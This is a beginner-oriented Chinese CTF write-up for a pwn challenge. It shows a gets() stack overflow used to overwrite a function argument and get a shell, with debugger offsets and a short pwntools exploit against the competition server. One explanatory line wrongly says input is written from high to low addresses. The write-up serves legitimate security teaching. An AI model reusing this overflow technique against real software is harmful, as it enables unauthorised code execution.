2024赣育杯pwn部分题解(新生向)
柳贯一 发表于 江西 CTF 285浏览 · 2024-10-27 03:04

OF题解

附件分析

主函数如下

函数十分简单,调用check函数,0xB29E1A9A作为check函数的参数。

如果局部变量a1等于0xC8E51295,可以getshell,而局部变量的值由函数参数0xB29E1A9A传递.

同时函数内存在栈溢出漏洞,则可以考虑通过溢出覆盖原本函数参数来getshell.
我们来调试看看程序内容

调试

寻找check函数参数的栈地址

断点打在调用check函数前

arg[0]是我们需要覆盖的地方,si步入check函数,尝试查看arg[0]栈地址.

下方可以看到,0xB29E1A9A对应的栈地址是0xffffcf00

寻找输入内容的栈地址

我们继续往下运行到gets函数,也就是我们输入内容处,调试查看地址

运行到此处我们需要输入,我们输入16个字符a

可以看到,我们输入的内容的首地址是0xffffceae
并且由于在栈空间中,数据由高地址往低地址写入,我们是可以覆盖到函数参数的

计算需要输入的长度

函数参数的栈地址是0xffffcf00
输入内容的栈地址是0xffffceae
当我们输入0xffffcf00-0xffffceae=0x52个字符时,我们再输入内容,就能输入到栈地址处

exp

from pwn import *
context(log_level='debug',os='linux',arch='i386')
fn='./of'
eir = 1
if eir == 1:
    p=remote("ctfx.edu.sangfor.com.cn",41607)
elif eir == 0:
    p=process(fn)
elf=ELF(fn)


def dbg():
    gdb.attach(p)
    pause()


#dbg()
pl=b'a'*(0x50)+b'ma'+p32(0xc8e51295)
p.sendline(pl)

p.interactive()
1 条评论
某人
表情
可输入 255